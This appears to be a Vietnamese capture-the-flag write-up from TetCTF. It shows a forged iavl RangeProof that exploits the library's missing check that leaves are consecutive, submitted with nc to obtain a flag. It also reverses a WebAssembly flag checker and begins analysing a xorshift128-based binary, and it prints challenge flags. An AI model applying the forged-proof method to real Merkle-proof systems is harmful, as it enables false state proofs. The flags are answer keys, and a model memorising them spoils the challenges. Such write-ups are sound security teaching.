            // Drop the leaf-most (last-most) inner nodes from path
            // until we encounter one with a left hash.
            // We assume that the left side is already verified.
            // rpath: rest of path
            // lpath: last path item
            rpath, lpath := path[:len(path)-1], path[len(path)-1]
            path = rpath
            if len(lpath.Right) == 0 {
                continue
            }

            // Pop next inners, a PathToLeaf (e.g. []ProofInnerNode).
            inners, rinnersq := innersq[0], innersq[1:]
            innersq = rinnersq

            // Recursively verify inners against remaining leaves.
            derivedRoot, treeEnd, done, err := COMPUTEHASH(inners, rightmost && rpath.isRightmost())
            if err != nil {
                return nil, treeEnd, false, errors.Wrap(err, "recursive COMPUTEHASH call")
            }

            if !bytes.Equal(derivedRoot, lpath.Right) {
                return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot)
            }

            if done {
                return hash, treeEnd, true, nil
            }
        }

        // We're not done yet (leaves left over). No error, not done either.
        // Technically if rightmost, we know there's an error "left over leaves
        // -- malformed proof", but we return that at the top level, below.
        return hash, false, false, nil
    }

    // Verify!
    path := proof.LeftPath
    rootHash, treeEnd, done, err := COMPUTEHASH(path, true)
    if err != nil {
        return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call")
    } else if !done {
        return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof")
    }

    // Ok!
    return rootHash, treeEnd, nil
}

Sau khi check root thành công rồi proof.VerifyAbsence sẽ check target key có nằm trong tree không, như code bên dưới. Lưu ý là iavl sắp xếp các leaves theo một thứ tự xác định (tăng dần). Như vậy để prove target key không có trong tree thì:

  • TH1: key < Leaves[0].KeyLeaves[0].Key là leaf bên trái ngoài cùng

  • Hoặc, TH2: Leaves[0].Key < keyLeaves[0].Key là leaf bên phải ngoài cùng

  • Hoặc, TH3: Leaves[0].Key < key và những Leaves[i] khác thoả key < Leaves[i].Key

// Verify that proof is valid absence proof for key.
// Does not assume that the proof itself is valid.
// For that, use Verify(root).
func (proof *RangeProof) VerifyAbsence(key []byte) error {
    if proof == nil {
        return errors.Wrap(ErrInvalidProof, "proof is nil")
    }
    if !proof.rootVerified {
        return errors.New("must call Verify(root) first")
    }
    cmp := bytes.Compare(key, proof.Leaves[0].Key)
    if cmp < 0 {
        if proof.LeftPath.isLeftmost() {
            return nil
        }
        return errors.New("absence not proved by left path")

    } else if cmp == 0 {
        return errors.New("absence disproved via first item #0")
    }
    if len(proof.LeftPath) == 0 {
        return nil
    }
    if proof.LeftPath.isRightmost() {
        return nil
    }

    // See if any of the leaves are greater than key.
    for i := 1; i < len(proof.Leaves); i++ {
        leaf := proof.Leaves[i]
        cmp := bytes.Compare(key, leaf.Key)
        switch {
        case cmp < 0:
            return nil
        case cmp == 0:
            return fmt.Errorf("absence disproved via item #%v", i)
        default:
            // if i == len(proof.Leaves)-1 {
            // If last item, check whether
            // it's the last item in the tree.

            // }
            continue
        }
    }

    // It's still a valid proof if our last leaf is the rightmost child.
    if proof.treeEnd {
        return nil // OK!
    }

    // It's not a valid absence proof.
    if len(proof.Leaves) < 2 {
        return errors.New("absence not proved by right leaf (need another leaf?)")
    }
    return errors.New("absence not proved by right leaf")

}

Giả sử mình build được một tree như hình dưới và có được proof của từng leaf (B), (C), (D) (dùng tree.GetWithProof).

{
    "left_path": [{
        "height": 2,
        "size": 4,
        "version": 1,
        "left": null,
        "right": "ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="
    }, {
        "height": 1,
        "size": 2,
        "version": 1,
        "left": "KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI=",
        "right": null
    }],
    "inner_nodes": null,
    "leaves": [{
        "key": "506C656173652067697665206D6520666C6166",
        "value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
        "version": 1
    }]
}

{
    "left_path": [{
        "height": 2,
        "size": 4,
        "version": 1,
        "left": "iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po=",
        "right": null
    }, {
        "height": 1,
        "size": 2,
        "version": 1,
        "left": null,
        "right": "AaLzCR0iVpGoOKYMpJRTw85FKMcgz01LJ9N2TYubO8I="
    }],
    "inner_nodes": null,
    "leaves": [{
        "key": "506C656173652067697665206D6520666C6167",
        "value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
        "version": 1
    }]
}

{
    "left_path": [{
        "height": 2,
        "size": 4,
        "version": 1,
        "left": "iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po=",
        "right": null
    }, {
        "height": 1,
        "size": 2,
        "version": 1,
        "left": "pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So=",
        "right": null
    }],
    "inner_nodes": null,
    "leaves": [{
        "key": "506C656173652067697665206D6520666C6168",
        "value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
        "version": 1
    }]
}

Việc còn lại là craft một RangeProof hợp lệ cho hai leaves (B), (D) thoả proof.Verify đồng thời cũng thoả proof.VerifyAbsence theo TH3. Ở đây left_path là path của leaf đầu tiên trong proof: (B), inner_nodes là node (F) (để prove leaf (D) trong tree).

{
    "left_path": [{
        "height": 2,
        "size": 4,
        "version": 1,
        "left": null,
        "right": "ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="
    }, {
        "height": 1,
        "size": 2,
        "version": 1,
        "left": "KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI=",
        "right": null
    }],
    "inner_nodes": [
        [{
            "height": 1,
            "size": 2,
            "version": 1,
            "left": "pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So=",
            "right": null
        }]
    ],
    "leaves": [{
        "key": "506C656173652067697665206D6520666C6166",
        "value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
        "version": 1
    }, {
        "key": "506C656173652067697665206D6520666C6168",
        "value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
        "version": 1
    }]
}

Xong rồi lấy flag thôi.

% nc 139.162.24.230 31337
56253716365461903439579434265850711409481442763884290297661026675117448458917 51329327614657051210900078708276432162440881597644333974821193751328600339415
UGxlYXNlIGdpdmUgbWUgZmxhZQ==
102086226051766630552792704280250843632675908569658191228801301268745350844965 62296438785217030217012294404635525266252862204816566664977743056729507660424
UGxlYXNlIGdpdmUgbWUgZmxhZg==
82244573064920333839263765403149631407899576805032556451760917404840839054072 48676597670866078956804658634678317277475067664041793228043885120586039346849
UGxlYXNlIGdpdmUgbWUgZmxhZw==
46537078340079849868547597696981012705638642765494322583968235942524680546329 98220644782654064088480205599630519753561646443795431991925613459538716705804
UGxlYXNlIGdpdmUgbWUgZmxhaA==
26924463172195072599691663032962268721216085161071385559744604832313382111263 43280396618361057956315235962661331591263251392719006884668977168111764977253
.
46537078340079849868547597696981012705638642765494322583968235942524680546329
98220644782654064088480205599630519753561646443795431991925613459538716705804
eyJsZWZ0X3BhdGgiOlt7ImhlaWdodCI6Miwic2l6ZSI6NCwidmVyc2lvbiI6MSwibGVmdCI6bnVsbCwicmlnaHQiOiJac0FSNEU0aE9rTHFrcEkrM0xrMXFPY1FkOENWUVBFQUpvTUhkWGZmaFY4PSJ9LHsiaGVpZ2h0IjoxLCJzaXplIjoyLCJ2ZXJzaW9uIjoxLCJsZWZ0IjoiS3hxRFRPQUErd01yT3hCR003elJ4SERnUE9hVlN2UHlGMHZobEdtWHZYST0iLCJyaWdodCI6bnVsbH1dLCJpbm5lcl9ub2RlcyI6W1t7ImhlaWdodCI6MSwic2l6ZSI6MiwidmVyc2lvbiI6MSwibGVmdCI6InB2c2NZS3h5RkRVUHhQMFI2cUVZYUFNWWRKQzRHMlZYS2hnSkF1QWg0U289IiwicmlnaHQiOm51bGx9XV0sImxlYXZlcyI6W3sia2V5IjoiNTA2QzY1NjE3MzY1MjA2NzY5NzY2NTIwNkQ2NTIwNjY2QzYxNjYiLCJ2YWx1ZSI6IkUzQjBDNDQyOThGQzFDMTQ5QUZCRjRDODk5NkZCOTI0MjdBRTQxRTQ2NDlCOTM0Q0E0OTU5OTFCNzg1MkI4NTUiLCJ2ZXJzaW9uIjoxfSx7ImtleSI6IjUwNkM2NTYxNzM2NTIwNjc2OTc2NjUyMDZENjUyMDY2NkM2MTY4IiwidmFsdWUiOiJFM0IwQzQ0Mjk4RkMxQzE0OUFGQkY0Qzg5OTZGQjkyNDI3QUU0MUU0NjQ5QjkzNENBNDk1OTkxQjc4NTJCODU1IiwidmVyc2lvbiI6MX1dfQ==
TetCTF{l34f_c0ns3cut1v3n3ss_n0t_3nf0rc3d}

Reverse Engineering

babyasm

credit: sonx

Bài cho 1 trang web với input để nhập flag, nếu đúng in ra 'Correct!'.

Code xử lý input của trang web như sau:

code = [0, 97, 115, 109, 1, 0, 0, 0, 1, 56, 9, 80, 0, 95, 1, 127, 1, 80, 0, 94, 99, 0, 1, 96, 0, 0, 96, 1, 127, 1, 100, 1, 96, 3, 99, 1, 127, 127, 0, 96, 2, 99, 1, 127, 1, 127, 96, 4, 99, 1, 127, 127, 127, 0, 96, 1, 99, 1, 1, 127, 96, 1, 99, 1, 1, 127, 3, 8, 7, 2, 3, 4, 5, 6, 7, 8, 6, 118, 20, 127, 1, 65, 224, 0, 11, 127, 1, 65, 229, 0, 11, 127, 1, 65, 20, 11, 127, 1, 65, 177, 1, 11, 127, 1, 65, 155, 1, 11, 127, 1, 65, 244, 0, 11, 127, 1, 65, 236, 0, 11, 127, 1, 65, 197, 0, 11, 127, 1, 65, 212, 0, 11, 127, 1, 65, 237, 0, 11, 127, 1, 65, 231, 0, 11, 127, 1, 65, 238, 0, 11, 127, 1, 65, 239, 0, 11, 127, 1, 65, 223, 0, 11, 127, 1, 65, 244, 0, 11, 127, 1, 65, 231, 0, 11, 127, 1, 65, 225, 0, 11, 127, 1, 65, 200, 0, 11, 127, 1, 65, 20, 11, 127, 1, 65, 59, 11, 7, 45, 7, 1, 49, 0, 0, 4, 105, 110, 105, 116, 0, 1, 10, 97, 114, 114, 97, 121, 95, 102, 105, 108, 108, 0, 2, 1, 51, 0, 3, 1, 52, 0, 4, 1, 53, 0, 5, 5, 99, 104, 101, 99, 107, 0, 6, 10, 184, 8, 7, 142, 1, 0, 35, 0, 65, 19, 115, 36, 0, 35, 1, 65, 55, 115, 36, 1, 35, 2, 65, 32, 115, 36, 2, 35, 3, 65, 36, 115, 36, 3, 35, 4, 65, 19, 115, 36, 4, 35, 5, 65, 55, 115, 36, 5, 35, 6, 65, 32, 115, 36, 6, 35, 7, 65, 36, 115, 36, 7, 35, 8, 65, 19, 115, 36, 8, 35, 9, 65, 55, 115, 36, 9, 35, 10, 65, 32, 115, 36, 10, 35, 11, 65, 36, 115, 36, 11, 35, 12, 65, 19, 115, 36, 12, 35, 13, 65, 55, 115, 36, 13, 35, 14, 65, 32, 115, 36, 14, 35, 15, 65, 36, 115, 36, 15, 35, 16, 65, 19, 115, 36, 16, 35, 17, 65, 55, 115, 36, 17, 35, 18, 65, 32, 115, 36, 18, 35, 19, 65, 36, 115, 36, 19, 11, 9, 0, 32, 0, 251, 7, 1, 16, 0, 11, 22, 0, 32, 0, 32, 1, 32, 2, 65, 19, 106, 65, 64, 107, 251, 0, 0, 65, 1, 251, 16, 1, 11, 13, 0, 32, 0, 32, 1, 251, 11, 1, 251, 2, 0, 0, 11, 109, 0, 32, 1, 65, 0, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 32, 115, 16, 2, 5, 32, 1, 65, 1, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 36, 115, 16, 2, 5, 32, 1, 65, 2, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 19, 115, 16, 2, 5, 32, 1, 65, 3, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 55, 115, 16, 2, 11, 11, 11, 11, 11, 172, 3, 1, 1, 127, 32, 0, 65, 0, 16, 3, 65, 137, 175, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 5, 11, 32, 0, 65, 1, 16, 3, 65, 200, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 2, 16, 3, 65, 226, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 3, 16, 3, 65, 194, 173, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 4, 16, 3, 65, 193, 242, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 5, 16, 3, 65, 135, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 6, 16, 3, 65, 193, 6, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 7, 16, 3, 65, 242, 240, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 8, 16, 3, 65, 166, 243, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 9, 16, 3, 65, 238, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 10, 16, 3, 65, 151, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 11, 16, 3, 65, 229, 241, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 12, 16, 3, 65, 225, 139, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 13, 16, 3, 65, 129, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 14, 16, 3, 65, 151, 6, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 15, 16, 3, 65, 174, 137, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 16, 16, 3, 65, 225, 149, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 17, 16, 3, 65, 177, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 18, 16, 3, 65, 161, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 19, 16, 3, 65, 234, 147, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 1, 65, 20, 70, 4, 127, 65, 1, 5, 65, 0, 11, 11, 218, 2, 0, 32, 0, 65, 0, 65, 1, 32, 0, 65, 0, 16, 3, 35, 0, 106, 16, 4, 32, 0, 65, 1, 65, 2, 32, 0, 65, 1, 16, 3, 35, 1, 107, 16, 4, 32, 0, 65, 2, 65, 3, 32, 0, 65, 2, 16, 3, 35, 2, 108, 16, 4, 32, 0, 65, 3, 65, 0, 32, 0, 65, 3, 16, 3, 35, 3, 115, 16, 4, 32, 0, 65, 0, 65, 5, 32, 0, 65, 4, 16, 3, 35, 4, 106, 16, 4, 32, 0, 65, 1, 65, 6, 32, 0, 65, 5, 16, 3, 35, 5, 107, 16, 4, 32, 0, 65, 2, 65, 7, 32, 0, 65, 6, 16, 3, 35, 6, 108, 16, 4, 32, 0, 65, 3, 65, 4, 32, 0, 65, 7, 16, 3, 35, 7, 115, 16, 4, 32, 0, 65, 0, 65, 9, 32, 0, 65, 8, 16, 3, 35, 8, 106, 16, 4, 32, 0, 65, 1, 65, 10, 32, 0, 65, 9, 16, 3, 35, 9, 107, 16, 4, 32, 0, 65, 2, 65, 11, 32, 0, 65, 10, 16, 3, 35, 10, 108, 16, 4, 32, 0, 65, 3, 65, 8, 32, 0, 65, 11, 16, 3, 35, 11, 115, 16, 4, 32, 0, 65, 0, 65, 13, 32, 0, 65, 12, 16, 3, 35, 12, 106, 16, 4, 32, 0, 65, 1, 65, 14, 32, 0, 65, 13, 16, 3, 35, 13, 107, 16, 4, 32, 0, 65, 2, 65, 15, 32, 0, 65, 14, 16, 3, 35, 14, 108, 16, 4, 32, 0, 65, 3, 65, 12, 32, 0, 65, 15, 16, 3, 35, 15, 115, 16, 4, 32, 0, 65, 0, 65, 17, 32, 0, 65, 16, 16, 3, 35, 16, 106, 16, 4, 32, 0, 65, 1, 65, 18, 32, 0, 65, 17, 16, 3, 35, 17, 107, 16, 4, 32, 0, 65, 2, 65, 19, 32, 0, 65, 18, 16, 3, 35, 18, 108, 16, 4, 32, 0, 65, 3, 65, 16, 32, 0, 65, 19, 16, 3, 35, 19, 115, 16, 4, 32, 0, 16, 5, 11, 0, 45, 4, 110, 97, 109, 101, 1, 38, 7, 0, 1, 49, 1, 4, 105, 110, 105, 116, 2, 10, 97, 114, 114, 97, 121, 95, 102, 105, 108, 108, 3, 1, 51, 4, 1, 52, 5, 1, 53, 6, 5, 99, 104, 101, 99, 107];

const byte_code = new Uint8Array(code);

const wasmModule = new WebAssembly.Module(byte_code);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const wasm = wasmInstance.exports;

const consoleDiv = document.getElementById('console');
const inputField = document.getElementById('input');

inputField.addEventListener('keydown', function (event) {
    if (event.key === 'Enter') {
        const inputText = inputField.value;
        processInput(inputText);
        inputField.value = '';
    }
});

function processInput(text) {
    const p = document.createElement('p');
    if (text.startsWith('TetCTF{') && text.endsWith('}') && text.length === 27) {

        let array_size = 20;
        let array_obj = wasm.init(array_size);

        for (var i = 0; i < array_size; i++) {
            wasm.array_fill(array_obj, i, text.charCodeAt(i + 7));
        }
        if (wasm.check(array_obj)) {
            p.textContent = '> Correct!';
        } else {
            p.textContent = '> Incorrect!';
        }
    } else {
        p.textContent = '> Incorrect!';
    }
    consoleDiv.appendChild(p);
    consoleDiv.scrollTop = consoleDiv.scrollHeight;
}

Đầu tiên là kiểm tra format của flag, flag phải bắt đầu bằng TetCTF{ và kết thúc bằng } và độ dài của flag phải là 27 ký tự.

Tiếp theo trang web có dùng wasm để xử lý input của người dùng.

Ở đây có thể có tool để decompile wasm, nhưng tôi đọc chay.

Cách đọc cũng không có gì đặc biệt, chỉ là đặt breakpoint, debug dần, xem các giá trị của các biến, stack, hàm được gọi để hiểu được chương trình làm gì.

Tổng quan một số hàm:

init: gọi $1 để khởi tạo các phần tử $global (thể hiện trong mảng global_arr ở đoạn code python bên dưới) bằng cách xor với các giá trị định sẵn (thể hiện trong mảng key).

array_fill: lấy 20 ký tự của flag, từ ký tự thứ 7 đến ký tự thứ 26, cộng với 19 và 64 và lưu vào mảng array_obj.

$3: là hàm tìm giá trị tại vị trí index của mảng array_obj.

$4: là hàm biến đổi array_obj, có sử dụng các phần tử $global. Tổng cộng 4 cách biến đổi khác nhau, tùy thuộc vào giá trị được truyền vào.

$5: so sánh từng phần tử của mảng array_obj với các giá trị đích (thể hiện trong mảng target ở đoạn code python bên dưới).

check: biến đổi mảng array_obj bằng cách gọi hàm $3, $4, cuối cùng là gọi hàm $5 để so sánh kết quả.

Tôi có viết lại đoạn code mô tả lại cách hoạt động của chương trình.

global_arr = [96, 101, 20, 177, 155, 116, 108, 69, 84, 109, 103, 110, 111, 95, 116, 103, 97, 72, 20, 59]

key = [19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36]

array_obj = [0] * 20

def init():
    for i in range(len(global_arr)):
        global_arr[i] ^= key[i]

def fill_array(input_text):
    for i in range(7, 27):
        array_obj[i - 7] = ord(input_text[i]) + 19 + 64

def process():
    temp = array_obj[0] + global_arr[0]
    temp += array_obj[1]
    temp ^= 32
    temp += (19 + 64)
    array_obj[1] = temp

    temp = array_obj[1] - global_arr[1]
    temp += array_obj[2]
    temp ^= 36
    temp += (19 + 64)
    array_obj[2] = temp

    temp = array_obj[2] * global_arr[2]
    temp += array_obj[3]
    temp ^= 19
    temp += (19 + 64)
    array_obj[3] = temp

    temp = array_obj[3] ^ global_arr[3]
    temp += array_obj[0]
    temp ^= 55
    temp += (19 + 64)
    array_obj[0] = temp

    temp = array_obj[4] + global_arr[4]
    temp += array_obj[5]
    temp ^= 32
    temp += (19 + 64)
    array_obj[5] = temp

    temp = array_obj[5] - global_arr[5]
    temp += array_obj[6]
    temp ^= 36
    temp += (19 + 64)
    array_obj[6] = temp

    temp = array_obj[6] * global_arr[6]
    temp += array_obj[7]
    temp ^= 19
    temp += (19 + 64)
    array_obj[7] = temp

    temp = array_obj[7] ^ global_arr[7]
    temp += array_obj[4]
    temp ^= 55
    temp += (19 + 64)
    array_obj[4] = temp

    temp = array_obj[8] + global_arr[8]
    temp += array_obj[9]
    temp ^= 32
    temp += (19 + 64)
    array_obj[9] = temp

    temp = array_obj[9] - global_arr[9]
    temp += array_obj[10]
    temp ^= 36
    temp += (19 + 64)
    array_obj[10] = temp

    temp = array_obj[10] * global_arr[10]
    temp += array_obj[11]
    temp ^= 19
    temp += (19 + 64)
    array_obj[11] = temp

    temp = array_obj[11] ^ global_arr[11]
    temp += array_obj[8]
    temp ^= 55
    temp += (19 + 64)
    array_obj[8] = temp

    temp = array_obj[12] + global_arr[12]
    temp += array_obj[13]
    temp ^= 32
    temp += (19 + 64)
    array_obj[13] = temp

    temp = array_obj[13] - global_arr[13]
    temp += array_obj[14]
    temp ^= 36
    temp += (19 + 64)
    array_obj[14] = temp

    temp = array_obj[14] * global_arr[14]
    temp += array_obj[15]
    temp ^= 19
    temp += (19 + 64)
    array_obj[15] = temp

    temp = array_obj[15] ^ global_arr[15]
    temp += array_obj[12]
    temp ^= 55
    temp += (19 + 64)
    array_obj[12] = temp

    temp = array_obj[16] + global_arr[16]
    temp += array_obj[17]
    temp ^= 32
    temp += (19 + 64)
    array_obj[17] = temp

    temp = array_obj[17] - global_arr[17]
    temp += array_obj[18]
    temp ^= 36
    temp += (19 + 64)
    array_obj[18] = temp

    temp = array_obj[18] * global_arr[18]
    temp += array_obj[19]
    temp ^= 19
    temp += (19 + 64)
    array_obj[19] = temp

    temp = array_obj[19] ^ global_arr[19]
    temp += array_obj[16]
    temp ^= 55
    temp += (19 + 64)
    array_obj[16] = temp


def check():
    target = [38793, 584, 738, 38594, 63809, 647, 833, 63602, 47526, 494, 663, 47333, 67041, 641, 791, 66734, 35553, 561, 673, 35306]
    for i in range(20):
        if array_obj[i] != target[i]:
            return False
    return True



input_text = input("Enter the flag: ")
if input_text.startswith("TetCTF{") and input_text.endswith("}") and len(input_text) == 27:
    init()
    fill_array(input_text)
    process()
    if check():
        print("Correct!")
    else:
        print("Incorrect!")
else:
    print("Incorrect!")

Tôi nhận ra chương trình nó xử lý từng nhóm 4 phần tử của array_obj. Từng nhóm một, không ảnh hưởng đến nhóm khác.

Do đó lúc giải mã cũng chỉ cần xử lý từng nhóm 4 phần tử của target để tìm ra flag.

flag = ""
target = [38793, 584, 738, 38594, 63809, 647, 833, 63602, 47526, 494, 663, 47333, 67041, 641, 791, 66734, 35553, 561, 673, 35306]

for i in range(0, len(target), 4):
    arr0 = target[i]
    arr1 = target[i + 1]
    arr2 = target[i + 2]
    arr3 = target[i + 3]

    flag2 = ((arr2 - 19 - 64) ^ 36) - (arr1 - global_arr[i + 1]) - 19 - 64
    flag3 = ((arr3 - 19 - 64) ^ 19) - (arr2 * global_arr[i + 2]) - 19 - 64
    flag0 = ((arr0 - 19 - 64) ^ 55) - (arr3 ^ global_arr[i + 3]) - 19 - 64
    flag1 = ((arr1 - 19 - 64) ^ 32) - (flag0 + 19 + 64 + global_arr[i]) - 19 - 64

    try:
        flag += chr(flag0)
        flag += chr(flag1)
        flag += chr(flag2)
        flag += chr(flag3)
    except:
        print("error")
        break

flag = "TetCTF{" + flag + "}"
print(flag)

# TetCTF{WebAss3mblyMystique}

flag: TetCTF{WebAss3mblyMystique}

Warm up

credit: Hansha29

Load file vào Ida, mình nhận thấy rằng bài này có flow khá đơn giản. Ta chỉ nhần nhập vào input là nội dung trong flag, chương trình sẽ kiểm trả đúng tra và trả ra kết quả tương úng cho mình

image

Hmmm, nhưng với 1 giải có độ khó cao như này thì mình nghĩ là nó không dễ như vậy được, nên là đã tiến hành kiểm tra xem hàm check có gì không

Hàm check:

image

image

Như vậy ta thấy được rằng hàm check cũng không phải là ăn liền được như ta nghĩ. Vậy hãy đi phân tích lần lượt

image

Trước hết, ta có thể thấy được rằng độ dài của key phải là 84 nếu không sẽ trả về Wrong

image

Từ đoạn này có thể thấy, chương trình gán cho biến charset 1 string có 20 kí tự là !_acdefghilmnoprstuwy, tiếp theo đó, nó sẽ duyệt từng kí tự trong chuỗi mà ta nhập vào, nếu như có bất kể 1 tí tự nào không có trong !_acdefghilmnoprstuwy thì chương trình sẽ trả về Wrong. Nói 1 cách đơn giản nhất thì các ký tự của key mà ta nhập vào sẽ nằm trong giá trị của biến charset kia

image

Tiếp theo, có vẻ như chương trình thực hiện làm gì đó với đầu vào mà ta nhập, nhưng mà đê biết nó làm gì thì ta phải kiểm tra cho chắc chắn

image

Ở đây ta có thể thấy được là chương trình có làm gì đó với key mà ta nhập vào. Mình vào xem hàm hash_64_fnv1a là gì trước

Hàm hash_64_fnv1a:

image

Mình thử mò tìm trên github cái hộ số trên kia xem có manh mối gì không, thì kết quả ra được source của hàm trên, nhưng tác giả đã custom nó đi 1 chút. Bạn có thể xem source của hàm mã hóa tại đây

Tiếp tục phân tích, nhìn qua thì mình liên tưởng đến đây là tích của 2 ma trận với nhau với đội lớn lần lượt là [21x21]*[1x21] với hệ số là kết quả của xorshift128() % 1024 với v2. Mà v2 mang giá trị là v9 aka kết quả của hàm hash_64_fnv1a.

Mình vào xem hàm xorshift128 xem có sao. Thì thấy nó sử dụng cái giá trị của các biến x, y, z, w được khai báo ở bên ngoài

Hàm xorshift128:

image

Mình viết 1 script để gen hết các hệ số ra:

from ctypes import *

x = 0x75BCD15
y = 0x159A55E5
z = 0x1F123BB5
w = 0xDEADBEEF

def xorshift128():
    global x, y, z, w
    t = x
    t ^= t << 11
    t = t & 0xFFFFFFFF
    t ^= t >> 8
    t = t & 0xFFFFFFFF
    x = y
    y = z
    z = w
    w ^= w >> 19
    w = w & 0xFFFFFFFF
    w ^= t
    return w

for i in range(0, 0x15):
    for j in range(0, 0x15):
        tmp = c_int(xorshift128())
        hso = tmp.value & 0x3ff
        if tmp.value < 0:
            hso = -(1024 - hso)
        print(hso,end= ", ")

Hệ số(ma trận [21x21]):

842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122, 612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121, 812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587, -351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655, -332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292, -609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382, 611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417, 383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769, 536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891, 0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825, -1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018, -700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34, 49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 992, -335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620, -74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782, -638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214, -460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356, -739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333, -748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184, -341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829, -865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975

Sau khi có được hệ số và có được ma trận check bên dưới thì mình sử dụng sage để tính toán các giá trị của ma trận [1x21]

